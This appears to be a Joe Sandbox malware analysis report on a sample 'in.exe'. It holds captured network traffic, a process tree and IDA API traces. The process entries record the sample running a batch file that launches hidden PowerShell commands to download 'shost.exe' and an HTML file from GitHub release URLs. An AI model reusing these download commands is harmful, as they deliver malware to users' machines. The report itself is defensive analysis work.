2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-12-13 07:35:14 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Target ID:	0
Start time:	02:34:24
Start date:	13/12/2024
Path:	C:\Users\user\Desktop\in.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\in.exe"
Imagebase:	0x400000
File size:	195'584 bytes
MD5 hash:	9A68FC12EC201E077C5752BAA0A3D24A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	1
Start time:	02:34:24
Start date:	13/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\CE69.tmp\CE6A.tmp\CE6B.bat C:\Users\user\Desktop\in.exe"
Imagebase:	0x7ff735ac0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:34:24
Start date:	13/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:34:24
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/arht/releases/download/seht/archive.htm/' -outfile archive.htm"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:34:36
Start date:	13/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -WindowStyle Hidden -Command "Invoke-WebRequest 'https://github.com/homboz/ucm1/releases/download/iu1/shost.exe/' -outfile shost.exe"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:35:06
Start date:	13/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\AppData\Local\Temp\archive.htm
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:35:07
Start date:	13/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:35:07
Start date:	13/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2232 --field-trial-handle=1948,i,14274306992639415631,1134065366431252784,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.6%
Total number of Nodes:	2000
Total number of Limit Nodes:	81

Executed Functions

Function 0040A756 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 40
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040E260: TlsGetValue.KERNEL32(0000000D,00001000,00000000,00000000), ref: 0040E26C
Part of subcall function 0040E260: HeapReAlloc.KERNEL32(02280000,00000000,?,?), ref: 0040E2C7

GetTempPathW.KERNEL32(00000104,00000000,00000104,00000000,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000), ref: 0040A76D
LoadLibraryW.KERNEL32(Kernel32.DLL,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A77A
GetProcAddress.KERNEL32(00000000,GetLongPathNameW), ref: 0040A78C
GetLongPathNameW.KERNELBASE(00000000,00000000,00000104,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000), ref: 0040A799
FreeLibrary.KERNEL32(00000000,?,?,?,00000000,00401A0D,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040A79E

Strings

Kernel32.DLL, xrefs: 0040A773
GetLongPathNameW, xrefs: 0040A786

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: LibraryPath$AddressAllocFreeHeapLoadLongNameProcTempValue
String ID: GetLongPathNameW$Kernel32.DLL
API String ID: 820969696-2943376620
Opcode ID: b8ec294df8f0a0b8a7015009ae644d8128c9ee2ea3c72b3c91f3911898e9698a
Instruction ID: 045e3bd93f30ce5257affd3ba06db84d60efd2c3f80f990f00f7183b84a9fd71
Opcode Fuzzy Hash: b8ec294df8f0a0b8a7015009ae644d8128c9ee2ea3c72b3c91f3911898e9698a
Instruction Fuzzy Hash: C0F0BE722052147FC2212BBAAC4CDAB3E7CDE96752700413AF905E2252EA79881082BD

Function 0040195B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7

GetTempFileNameW.KERNEL32(?,00417024,00000000,00000000,?,00000000,00000000,00000400,00000000,00000000,00000000,00000000,00000000,00000000,00000000,004043B9), ref: 00401A2A
GetTempFileNameW.KERNEL32(00417024,00000000,00000000,00000000,?,00000000,00000000,?,00417024,00000000,00000000,?,00000000,00000000,00000400,00000000), ref: 00401A7F
GetTempFileNameW.KERNEL32(00417024,00000000,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,?,00417024), ref: 00401AD4
PathAddBackslashW.SHLWAPI(00417024,00000000,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,?,00417024), ref: 00401ADF
PathRenameExtensionW.SHLWAPI(?,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000), ref: 00401B1E
GetTempFileNameW.KERNEL32(00417024,00000000,00000000,?,00000000,?,00000000,00000000,00417024,00000000,00000000,00000000,?,00000000,00000000,00417024), ref: 00401B38

Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB

Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9

Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037

Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(02280000,00000000,?,?), ref: 0040DF1C

Strings

$pA, xrefs: 00401A73
$pA, xrefs: 00401B2C
$pA, xrefs: 00401A20
$pA, xrefs: 00401AC8

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: FileNameTemp$Value$AllocateErrorHeapLastPath$BackslashExtensionRenamewcslen
String ID: $pA$$pA$$pA$$pA
API String ID: 368575804-1531182785
Opcode ID: a7855c2fcb8ff53b5addb0dc43bc834e5fe5e71e8a4854cba452ae3e114c04c7
Instruction ID: 28b0c429ac0839269b991b7b7970ea1d3eb295239ca2258b2b80e935eceb64c8
Opcode Fuzzy Hash: a7855c2fcb8ff53b5addb0dc43bc834e5fe5e71e8a4854cba452ae3e114c04c7
Instruction Fuzzy Hash: CD510AB1514600AED600BBB1EC4297F7B7EEB98319F01883FF544690A2CA3D985D9A6D

Function 00401000 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 104
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 0040100F
GetModuleHandleW.KERNEL32(00000000), ref: 0040101C
HeapCreate.KERNEL32(00000000,00001000,00000000,00000000), ref: 00401035

Part of subcall function 0040DE30: HeapCreate.KERNELBASE(00000000,00001000,00000000,?,00401053,00000000,00001000,00000000,00000000), ref: 0040DE3C
Part of subcall function 0040DE30: TlsAlloc.KERNEL32(?,00401053,00000000,00001000,00000000,00000000), ref: 0040DE47

Part of subcall function 00409B40: HeapCreate.KERNELBASE(00000000,00001000,00000000,0040106C,00000000,00001000,00000000,00000000), ref: 00409B49

Part of subcall function 00409669: InitializeCriticalSection.KERNEL32(004186D0,00000004,00000004,0040963C,00000010,00000000,00000000,00401071,00000000,00001000,00000000,00000000), ref: 00409691

Part of subcall function 00408DEE: memset.MSVCRT ref: 00408DFB
Part of subcall function 00408DEE: InitCommonControlsEx.COMCTL32(00000008,00001000), ref: 00408E15
Part of subcall function 00408DEE: CoInitialize.OLE32(00000000), ref: 00408E1D

Part of subcall function 004053BB: InitializeCriticalSection.KERNEL32(004186A8,0040107B,00000000,00001000,00000000,00000000), ref: 004053C0

GetStdHandle.KERNEL32(FFFFFFF5,00000000,00001000,00000000,00000000), ref: 0040109A

Part of subcall function 00409DE0: HeapAlloc.KERNEL32(00000000,0000003C,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409DFF
Part of subcall function 00409DE0: HeapAlloc.KERNEL32(00000008,00000015,?,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000,00000000), ref: 00409E25
Part of subcall function 00409DE0: HeapAlloc.KERNEL32(00000008,FFFFFFED,FFFFFFED,00000010,00010000,00000004,00000200,?,?,?,?,004010C3,00000004,00000015,00000000,00000200), ref: 00409E82

Part of subcall function 0040A3DA: HeapFree.KERNEL32(00000000,?,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000), ref: 0040A418
Part of subcall function 0040A3DA: HeapFree.KERNEL32(00000000,?,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A431
Part of subcall function 0040A3DA: HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,?,004010CE,00000004,00000015,00000000,00000200,00000200,FFFFFFF5,00000000,00001000), ref: 0040A43B

Part of subcall function 0040A348: HeapAlloc.KERNEL32(00000000,00000034,?,?,?,004010E9,00000008,00000000,00417078,00000007,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A35B
Part of subcall function 0040A348: HeapAlloc.KERNEL32(FFFFFFF5,00000008,?,?,?,004010E9,00000008,00000000,00417078,00000007,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 0040A370

Part of subcall function 0040DBCA: RtlAllocateHeap.NTDLL(00000000,FFFFFFDD,?,00000200,?,?,?,0040112D,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070), ref: 0040DBFA
Part of subcall function 0040DBCA: memset.MSVCRT ref: 0040DC35

Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB

Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9

Part of subcall function 00401B8F: LoadLibraryExW.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00418048,00000000), ref: 00401BCD
Part of subcall function 00401B8F: EnumResourceTypesW.KERNEL32(00000000,00000000,00000000), ref: 00401BEA
Part of subcall function 00401B8F: FreeLibrary.KERNEL32(?,00000000,00000000,00000000,00000002,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,0040118B,00418048), ref: 00401BF2

HeapDestroy.KERNEL32(00000000,00418048,00000000,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070), ref: 004011B5
ExitProcess.KERNEL32(00000000,00418048,00000000,00000000,00000004,00000000,00417070,00000008,0000000C,000186A1,00000007,00417080,00418098,00000004,00000000,00417070), ref: 004011BA

Strings

.pA, xrefs: 00401085
:pA, xrefs: 0040112D

Memory Dump Source

Source File: 00000000.00000002.4503876178.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.4503860619.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503905898.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503925744.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4503949482.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_in.jbxd

Similarity

API ID: Heap$Alloc$Free$CreateInitializememset$AllocateCriticalErrorHandleLastLibrarySectionValue$CommonControlsDestroyEnumExitInitLoadModuleProcessResourceTypes
String ID: .pA$:pA
API String ID: 2062415080-1142403416
Opcode ID: aeb853c391caed1c2c3882624e056ccfb4376f2f5b63a4476772703c942bec8d
Instruction ID: 59fd392a0a4490bdbbe753bcbaae00d60dcbf108960a32b110b84fea6de29b28
Opcode Fuzzy Hash: aeb853c391caed1c2c3882624e056ccfb4376f2f5b63a4476772703c942bec8d
Instruction Fuzzy Hash: 6C313070A80704A9D210B7F29D43F9E3A25AB1874DF51843FB644790E3CEBC55489A6F

Function 00403DF3 Relevance: 12.9, APIs: 4, Strings: 3, Instructions: 640
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(02280000,00000000,?), ref: 0040DEF9

Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB

Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037

Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(02280000,00000000,?,?), ref: 0040DF1C

GetModuleHandleW.KERNEL32(00000000,?,?,?,00000000,00000000,?,02289B68,00000000,00000000), ref: 004042FB
PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 004043F4

